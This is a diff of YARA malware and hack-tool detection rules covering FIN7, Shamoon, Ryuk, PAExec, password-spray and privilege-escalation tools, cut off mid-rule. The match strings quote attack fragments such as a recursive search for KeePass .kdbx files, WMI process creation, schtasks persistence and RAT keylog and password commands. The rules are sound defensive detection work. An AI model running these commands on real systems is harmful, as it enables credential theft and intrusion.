+rule SIGNATURE_BASE_HKTL_Nopowershell
 {
 	meta:
-		description = "Detects Word Dropper from Proofpoint FIN7 Report"
+		description = "Detects NoPowerShell hack tool"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4929dff6-9f33-5d22-b560-c2195440a1cc"
-		date = "2017-08-04"
-		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7_backdoor.yar#L12-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "610b7288e08d36858de88abac3a86dcb6ebba1c019e17fb716f5c26aa964903b"
+		id = "17d508d5-833f-5232-a071-dbed8758493b"
+		date = "2018-12-28"
+		modified = "2022-12-21"
+		reference = "https://github.com/bitsadmin/nopowershell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4586-L4603"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2207af9fcc61d547dfeff347a1eae2c59024a7270d1b8cbb7abef56d80864728"
 		score = 75
-		quality = 60
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c91642c0a5a8781fff9fd400bff85b6715c96d8e17e2d2390c1771c683c7ead9"
-		hash2 = "cf86c7a92451dca1ebb76ebd3e469f3fa0d9b376487ee6d07ae57ab1b65a86f8"
+		quality = 85
+		tags = ""
+		hash1 = "2dad091dd00625762a7590ce16c3492cbaeb756ad0e31352a42751deb7cf9e70"
 
 	strings:
-		$x1 = "tpircsj:e/ b// exe.tpircsw\" rt/" fullword ascii
-		$s1 = "Scripting.FileSystemObject$" fullword ascii
-		$s2 = "PROJECT.THISDOCUMENT.AUTOOPEN" fullword wide
-		$s3 = "Project.ThisDocument.AutoOpen" fullword wide
-		$s4 = "\\system3" ascii
-		$s5 = "ShellV" fullword ascii
+		$x1 = "\\NoPowerShell.pdb" ascii
+		$x2 = "Invoke-WmiMethod -Class Win32_Process -Name Create \"cmd" fullword wide
+		$x3 = "ls C:\\Windows\\System32 -Include *.exe | select -First 10 Name,Length" fullword wide
+		$x4 = "ls -Recurse -Force C:\\Users\\ -Include *.kdbx" fullword wide
+		$x5 = "NoPowerShell.exe" fullword wide
 
 	condition:
-		( uint16(0)==0xcfd0 and filesize <700KB and 1 of ($x*) or all of ($s*))
+		1 of them
 }
-rule SIGNATURE_BASE_FIN7_Backdoor_Aug17 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Htran_Go : FILE
 {
 	meta:
-		description = "Detects Word Dropper from Proofpoint FIN7 Report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "906daf88-520b-57b5-825e-29f060b43183"
-		date = "2017-08-04"
+		description = "Detects go based htran variant"
+		author = "Jeff Beley"
+		id = "bd9409e3-3d4c-57d6-af60-b6d6bd93d46b"
+		date = "2019-01-09"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7_backdoor.yar#L34-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "76818317c543c1464898463741ddaf8c6368d0f5004c088a323c4323db49060c"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4604-L4617"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "444fe8ce2fdb67c982de26a10882d2cfebc4d2de6c4b4ba6ee10cf39130f1cc5"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "4acbefb9f7907c52438ebb3070888ddc8cddfe9e3849c9d0196173a422b9035f"
 
 	strings:
-		$x1 = "wscript.exe //b /e:jscript C:\\Users\\" ascii
-		$x2 = "wscript.exe /b /e:jscript C:\\Users\\" ascii
-		$x3 = "schtasks /Create /f /tn \"GoogleUpdateTaskMachineSystem\" /tr \"wscript.exe" ascii nocase
-		$x4 = "schtasks /Delete /F /TN \"\"GoogleUpdateTaskMachineCore" ascii nocase
-		$x5 = "schtasks /Delete /F /TN \"GoogleUpdateTaskMachineCore" ascii nocase
-		$x6 = "wscript.exe //b /e:jscript %TMP%\\debug.txt" ascii
-		$s1 = "/?page=wait" fullword ascii
-		$a1 = "autoit3.exe" fullword ascii
-		$a2 = "dumpcap.exe" fullword ascii
-		$a3 = "tshark.exe" fullword ascii
-		$a4 = "prl_cc.exe" fullword ascii
-		$v1 = "vmware" fullword ascii
-		$v2 = "PCI\\\\VEN_80EE&DEV_CAFE" fullword ascii
-		$v3 = "VMWVMCIHOSTDEV" fullword ascii
-		$c1 = "apowershell" fullword ascii
-		$c2 = "wpowershell" fullword ascii
-		$c3 = "get_passwords" fullword ascii
-		$c4 = "kill_process" fullword ascii
-		$c5 = "get_screen" fullword ascii
+		$s1 = "https://github.com/cw1997/NATBypass" fullword ascii
+		$s2 = "-slave ip1:port1 ip2:port2" fullword ascii
+		$s3 = "-tran port1 ip:port2" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <5000KB and (1 of ($x*) or all of ($a*) or all of ($v*) or 3 of ($c*))) or 5 of them
+		uint16(0)==0x5a4d and filesize <7000KB and 1 of them
 }
-rule SIGNATURE_BASE_Armitage_Msfconsole : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_Katz_PDB : FILE
 {
 	meta:
-		description = "Detects Armitage component"
+		description = "Detects suspicious PDB in file"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9c610cd0-663e-54ea-a0f2-6c044fc45d23"
-		date = "2017-12-24"
-		modified = "2022-08-18"
+		id = "79f4f07c-b234-5203-a2ab-aba4a9cb9f8d"
+		date = "2019-02-04"
+		modified = "2023-12-05"
 		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_armitage.yar#L14-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cf9df9858ca584288288fd0b55fdcf65aeea410f25531ee3d8cf48c30d23824a"
-		score = 75
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4619-L4632"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1a38f63d8e8baa9bc8f34c1886fc2aaea7f61d5e09792ba9cde4cf6ed8441fab"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		hash1 = "662ba75c7ed5ac55a898f480ed2555d47d127a2d96424324b02724b3b2c95b6a"
+		hash1 = "6888ce8116c721e7b2fc3d7d594666784cf38a942808f35e309a48e536d8e305"
 
 	strings:
-		$s1 = "\\umeterpreter\\u >" ascii
-		$s3 = "^meterpreter >" fullword ascii
-		$s11 = "\\umsf\\u>" ascii
+		$s1 = /\\Release\\[a-z]{0,8}katz.pdb/
+		$s2 = /\\Debug\\[a-z]{0,8}katz.pdb/
 
 	condition:
-		filesize <1KB and 2 of them
+		uint16(0)==0x5a4d and filesize <6000KB and all of them
 }
-rule SIGNATURE_BASE_Armitage_Meterpretersession_Strings : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_LNX_Pnscan : FILE
 {
 	meta:
-		description = "Detects Armitage component"
+		description = "Detects Pnscan port scanner"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c49fdb73-1c95-5c63-b039-2fddb77290dc"
-		date = "2017-12-24"
+		id = "46c6c0d9-08bb-5de3-ad14-c1a7ab0542c6"
+		date = "2019-05-27"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_armitage.yar#L33-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3a21a42df8f15e3e81c797feb284edfe2de7d1c182547e8606f0e48dc08f6939"
-		score = 75
+		reference = "https://github.com/ptrrkssn/pnscan"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4634-L4647"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "46a064f9df9d0a0f3fad4ec7be70b1e42074e5e117f7403d8239bc725590f268"
+		score = 55
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b258b2f12f57ed05d8eafd29e9ecc126ae301ead9944a616b87c240bf1e71f9a"
-		hash2 = "144cb6b1cf52e60f16b45ddf1633132c75de393c2705773b9f67fce334a3c8b8"
 
 	strings:
-		$s1 = "session.meterpreter_read" fullword ascii
-		$s2 = "sniffer_dump" fullword ascii
-		$s3 = "keyscan_dump" fullword ascii
-		$s4 = "MeterpreterSession.java" fullword ascii
+		$x1 = "-R<hex list>   Hex coded response string to look for." fullword ascii
+		$x2 = "This program implements a multithreaded TCP port scanner." ascii wide
 
 	condition:
-		filesize <30KB and 1 of them
+		filesize <6000KB and 1 of them
 }
-rule SIGNATURE_BASE_Armitage_OSX : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Paexec : FILE
 {
 	meta:
-		description = "Detects Armitage component"
+		description = "Detects remote access tool PAEXec (like PsExec) - file PAExec.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e886e866-c163-56fb-9631-c586e9f23f9e"
-		date = "2017-12-24"
+		id = "ee564534-b921-5639-a7ed-5da79d6bf86a"
+		date = "2017-03-27"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_armitage.yar#L52-L68"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "25c94b9715fdc10d0e04eea7d5b9974e60f3e248f51b80de80542b169996fc7a"
-		score = 75
+		reference = "http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4649-L4669"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "30478d90756a9ea362c40236518fe9013e5e5683641b7e7e1ad33aa3b5587e04"
+		score = 40
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2680d9900a057d553fcb28d84cdc41c3fc18fd224a88a32ee14c9c1b501a86af"
-		hash2 = "b7b506f38d0553cd2beb4111c7ef383c821f04cee5169fed2ef5d869c9fbfab3"
+		hash1 = "01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc"
 
 	strings:
-		$x1 = "resources/covertvpn-injector.exe" fullword ascii
-		$s10 = "resources/browserpivot.x64.dll" fullword ascii
-		$s17 = "resources/msfrpcd_new.bat" fullword ascii
+		$x1 = "Ex: -rlo C:\\Temp\\PAExec.log" fullword ascii
+		$x2 = "Can't enumProcesses - Failed to get token for Local System." fullword wide
+		$x3 = "PAExec %s - Execute Programs Remotely" fullword wide
+		$x4 = "\\\\%s\\pipe\\PAExecIn%s%u" fullword wide
+		$x5 = "\\\\.\\pipe\\PAExecIn%s%u" fullword wide
+		$x6 = "%%SystemRoot%%\\%s.exe" fullword wide
+		$x7 = "in replacement for PsExec, so the command-line usage is identical, with " fullword ascii
+		$x8 = "\\\\%s\\ADMIN$\\PAExec_Move%u.dat" fullword wide
 
 	condition:
-		filesize <6000KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <600KB and 1 of ($x*)) or (3 of them )
 }
-rule SIGNATURE_BASE_Crimsonrat_Mar18_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Domainpasswordspray : FILE
 {
 	meta:
-		description = "Detects CrimsonRAT malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "af21876c-f99d-5307-abba-02c57ee93df0"
-		date = "2018-03-06"
+		description = "Detects the Powershell password spray tool DomainPasswordSpray"
+		author = "Arnim Rupp"
+		id = "890e4514-2846-54f8-8f32-cc9d2a4ef81b"
+		date = "2023-01-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_crimson_rat.yar#L11-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "59b01a98a70c4bac08d396418fac24eb96e461a45502f63edc2a9aa87e05f960"
-		score = 75
+		reference = "https://github.com/dafthack/DomainPasswordSpray"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4671-L4686"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aa20bf139eff36100624771fe7617c214337ae5ab2e2746143bd8e6cc1b05b4e"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "acf2e8013b6fafcf436d5a05049896504ffa2e982bca05155d19981d1931c611"
-		hash2 = "7ca6e5ef1d346ec35993c910128a3526b098a07445131784a9358bf5679e3975"
-		hash3 = "be4264973de9886caedae1cb707586588d0da85ac7a2ad277db4258033ea12a8"
-		hash4 = "acf2e8013b6fafcf436d5a05049896504ffa2e982bca05155d19981d1931c611"
-		hash5 = "ff52b4a64ed7caeab00350e493968dbdb159aeb545fcba67d83ab9b158464de4"
+		hash1 = "44d4c0ae5673d2a076f3b5acdc83063aca49d58e6dd7cf73d0b927f83d359247"
 
 	strings:
-		$x1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|" wide
-		$x2 = "\\Release\\RTLBot.pdb" ascii
-		$x3 = "cmd.exe/c systeminfo >> 1.txt" fullword wide
-		$x4 = "/online >> Get online target with important info" fullword wide
-		$x5 = "/screen >> ScreenShot from target PC" fullword wide
-		$x6 = "/restart >> Restart Target PC" fullword wide
-		$x7 = "/log_key >> Get log key file" fullword wide
-		$a1 = "get_ShiftKey" fullword ascii
-		$a2 = "get_ControlKey" fullword ascii
-		$a3 = "get_AltKey" fullword ascii
-		$a4 = "get_MineInterval" fullword ascii
-		$fp1 = "Copyright Software Secure" wide
+		$s = "Invoke-DomainPasswordSpray" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or all of ($a*)) and not 1 of ($fp*)
+		filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_ATM_Malware_Loup_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Rusthound : FILE
 {
 	meta:
-		description = "Detects ATM Malware Loup"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "2215a93f-d854-5f9b-b5cd-53962c45db08"
-		date = "2020-08-17"
+		description = "Detect hacktool RustHound (Sharphound clone)"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d2fd79a5-9a1a-51de-920c-61653c8b0064"
+		date = "2023-03-30"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/r3c0nst/status/1295275546780327936"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_atm_loup.yar#L3-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196"
-		logic_hash = "5068c3f27cf821f512fb9a473d2bd45066d550f30fbc26f0cbebbe103e6f4ccb"
+		reference = "https://github.com/OPENCYBER-FR/RustHound"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4688-L4715"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "409f61a34d9771643246f401a9670f6f7dcced9df50cbd89a2e1a5c9ba8d03ab"
+		hash = "b1a58a9c94b1df97a243e6c3fc2d04ffd92bc802edc7d8e738573b394be331a9"
+		hash = "170f4a48911f3ebef674aade05184ea0a6b1f6b089bcffd658e95b9905423365"
+		hash = "e52f6496b863b08296bf602e92a090768e86abf498183aa5b6531a3a2d9c0bdb"
+		hash = "847e57a35df29d40858c248e5b278b09cfa89dd4201cb24262c6158395e2e585"
+		hash = "4edfed92b54d32a58b2cfc926f98a56637e89850410706abcc469a8bc846bc85"
+		hash = "feba0c16830ea0a13819a9ab8a221cc64d5a9b3cc73f3c66c405a171a2069cc1"
+		hash = "21d37c2393a6f748fe34c9d2f52693cb081b63c3a02ca0bebe4a584076f5886c"
+		hash = "874a1a186eb5808d456ce86295cd5f09d6c819375acb100573c2103608af0d84"
+		hash = "bf576bd229393010b2bb4ba17e49604109e294ca38cf19647fc7d9c325f7bcd1"
+		logic_hash = "386b734ad7f3cf02f096236c941033b3f905a3368b8a72dd63e91e6e94f12f8d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$String1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" ascii
-		$String2 = "CurrencyDispenser1" ascii
-		$Code = {50 68 C0 D4 01 00 8D 4D E8 51 68 2E 01 00 00 0F B7 55 08 52 E8}
+		$rh1 = "rusthound" fullword ascii wide
+		$rh2 = "Making json/zip files finished!" ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and filesize <100KB and all of ($String*) and $Code
+		( uint16(0)==0x5A4D or uint16(0)==0x457f) and 1 of ($rh*)
 }
-rule SIGNATURE_BASE_Shamoon2_Wiper : FILE
+rule SIGNATURE_BASE_APT_MAL_BKA_Goldenspy_Aug20_1 : FILE
 {
 	meta:
-		description = "Detects Shamoon 2.0 Wiper Component"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6660a64c-daa4-59e6-aa65-55194cac600c"
-		date = "2016-12-01"
+		description = "Detects variants of GoldenSpy Malware"
+		author = "BKA"
+		id = "4f47087e-6e68-53ff-9446-72a1751da359"
+		date = "2020-08-21"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/jKIfGB"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_shamoon2.yar#L10-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "245b03d9606f2e391f53a60aa333c6b037aa1f013794d83b761813d54782b885"
-		score = 70
+		reference = "https://www.bka.de/SharedDocs/Kurzmeldungen/DE/Warnhinweise/200821_Cyberspionage.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_goldenspy.yar#L1-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ba81a2b081842aaf06bbf623640a87946894df83fd0d7b7149c48afa8ed0a081"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a"
-		hash2 = "128fa5815c6fee68463b18051c1a1ccdf28c599ce321691686b1efa4838a2acd"
 
 	strings:
-		$a1 = "\\??\\%s\\System32\\%s.exe" fullword wide
-		$x1 = "IWHBWWHVCIDBRAFUASIIWURRTWRTIBIVJDGWTRRREFDEAEBIAEBJGGCSVUHGVJUHADIEWAFGWADRUWDTJBHTSITDVVBCIDCWHRHVTDVCDESTHWSUAEHGTWTJWFIRTBRB" wide
-		$s1 = "UFWYNYNTS" fullword wide
-		$s2 = "\\\\?\\ElRawDisk" fullword wide
+		$str01 = {c78510ffffff00000000 c78514ffffff0f000000 c68500ffffff00 c78528ffffff00000000 c7852cffffff0f000000 c68518ffffff00 c78540ffffff00000000 c78544ffffff0f000000 c68530ffffff00 c645fc14 80bd04feffff00}
+		$str02 = "Ryeol HTTP Client Class" ascii
+		$str03 = "----RYEOL-FB3B405B7EAE495aB0C0295C54D4E096-" ascii
+		$str04 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\fwkp.exe" ascii
+		$str05 = "svmm" ascii
+		$str06 = "PROTOCOL_" ascii
+		$str07 = "softList" ascii
+		$str08 = "excuteExe" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and 2 of them ) or (3 of them )
+		uint16(0)==0x5A4D and 5 of ($str*)
 }
-rule SIGNATURE_BASE_Shamoon2_Comcomp : FILE
+rule SIGNATURE_BASE_Win_Privesc_Gp3Finder_V4_0 : FILE
 {
 	meta:
-		description = "Detects Shamoon 2.0 Communication Components"
-		author = "Florian Roth (Nextron Systems) (with Binar.ly)"
-		id = "72068264-4f71-59fb-b3d8-938285ec8c7f"
-		date = "2016-12-01"
+		description = "Detects a tool that can be used for privilege escalation - file gp3finder_v4.0.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3b310c12-ac69-527b-9503-1486ae5f692c"
+		date = "2016-06-02"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/jKIfGB"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_shamoon2.yar#L30-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "edebdbcf17bd9fadc67c7d76839cf569f0ea20127d4e0d216411c35e9ba54208"
-		score = 70
-		quality = 85
+		reference = "http://grimhacker.com/2015/04/10/gp3finder-group-policy-preference-password-finder/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_win_privesc.yar#L10-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7d5618315ae5293ce1aea18d255d08bb007f39a466021fb636605684433da158"
+		score = 80
+		quality = 60
 		tags = "FILE"
-		hash1 = "61c1c8fc8b268127751ac565ed4abd6bdab8d2d0f2ff6074291b2d54b0228842"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7d34e214ef2ca33516875fb91a72d5798f89b9ea8964d3990f99863c79530c06"
 
 	strings:
-		$s1 = "mkdir %s%s > nul 2>&1" fullword ascii
-		$s2 = "p[%s%s%d.%s" fullword ascii
-		$op1 = { 04 32 cb 88 04 37 88 4c 37 01 88 54 37 02 83 c6 }
-		$op2 = { c8 02 d2 c0 e9 06 02 d2 24 3f 02 d1 88 45 fb 8d }
-		$op3 = { 0c 3b 40 8d 4e 01 47 3b c1 7c d8 83 fe 03 7d 1c }
+		$x1 = "Check for and attempt to decrypt passwords on share" ascii
+		$x2 = "Failed to auto get and decrypt passwords. {0}s/" fullword ascii
+		$x3 = "GPPPFinder - Group Policy Preference Password Finder" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and ( all of ($s*) or all of ($op*))
+		( uint16(0)==0x5a4d and 1 of ($x*)) or ( all of them )
 }
-rule SIGNATURE_BASE_Eldos_Rawdisk : FILE
+rule SIGNATURE_BASE_Win_Privesc_Folderperm
 {
 	meta:
-		description = "EldoS Rawdisk Device Driver (Commercial raw disk access driver - used in Operation Shamoon 2.0)"
-		author = "Florian Roth (Nextron Systems) (with Binar.ly)"
-		id = "8a43f425-86b7-5a05-b7c3-13c78aa905f8"
-		date = "2016-12-01"
-		modified = "2023-01-27"
-		reference = "https://goo.gl/jKIfGB"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_shamoon2.yar#L50-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ab09371b91ab6889f342c7992108ad374b5ecf67b6c2144a6282670f177d0f15"
-		score = 50
+		description = "Detects a tool that can be used for privilege escalation - file folderperm.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "131fdb57-f9ca-5247-8bb4-c939eff5b8bf"
+		date = "2016-06-02"
+		modified = "2023-12-05"
+		reference = "http://www.greyhathacker.net/?p=738"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_win_privesc.yar#L28-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "899fda75e4c6d9f588767e5170dbd30241a492ba89f7cc1b0ad4adb2fcd173cb"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		hash1 = "47bb36cd2832a18b5ae951cf5a7d44fba6d8f5dca0a372392d40f51d1fe1ac34"
-		hash2 = "394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1aa87df34826b1081c40bb4b702750587b32d717ea6df3c29715eb7fc04db755"
 
 	strings:
-		$s1 = "g\\system32\\" wide
-		$s2 = "ztvttw" fullword wide
-		$s3 = "lwizvm" fullword ascii
-		$s4 = "FEJIKC" fullword ascii
-		$s5 = "INZQND" fullword ascii
-		$s6 = "IUTLOM" fullword wide
-		$s7 = "DKFKCK" fullword ascii
-		$op1 = { 94 35 77 73 03 40 eb e9 }
-		$op2 = { 80 7c 41 01 00 74 0a 3d }
-		$op3 = { 74 0a 3d 00 94 35 77 }
+		$x1 = "# powershell.exe -executionpolicy bypass -file folderperm.ps1" fullword ascii
+		$x2 = "Write-Host \"[i] Dummy test file used to test access was not outputted:\" $filetocopy" fullword ascii
+		$x3 = "Write-Host -foregroundColor Red \"      Access denied :\" $myarray[$i] " fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 4 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Ryuk_Ransomware : FILE
+rule SIGNATURE_BASE_Win_Privesc_Adaclscan4_3
 {
 	meta:
-		description = "Detects strings known from Ryuk Ransomware"
+		description = "Detects a tool that can be used for privilege escalation - file ADACLScan4.3.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "25d40631-4158-5d3d-913e-a2f1233489e0"
-		date = "2018-12-31"
+		id = "15867a9c-9b9b-5d29-bf51-2b3e91af556f"
+		date = "2016-06-02"
 		modified = "2023-12-05"
-		reference = "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ryuk_ransomware.yar#L3-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "01e8ad348e5954374fc0f9fc25ba1ee83db4a2a50e622b27640aa2eb394dc5a0"
-		score = 75
+		reference = "https://adaclscan.codeplex.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_win_privesc.yar#L46-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ca657e5c4172d240f46a890fc112ee89d5bdf9e35e7d412332ee11bdaf166215"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		hash1 = "965884f19026913b2c57b8cd4a86455a61383de01dabb69c557f45bb848f6c26"
-		hash2 = "b8fcd4a3902064907fb19e0da3ca7aed72a7e6d1f94d971d1ee7a4d3af6a800d"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3473ddb452de7640fab03cad3e8aaf6a527bdd6a7a311909cfef9de0b4b78333"
 
 	strings:
-		$x1 = "/v \"svchos\" /f" fullword wide
-		$x2 = "\\Documents and Settings\\Default User\\finish" wide
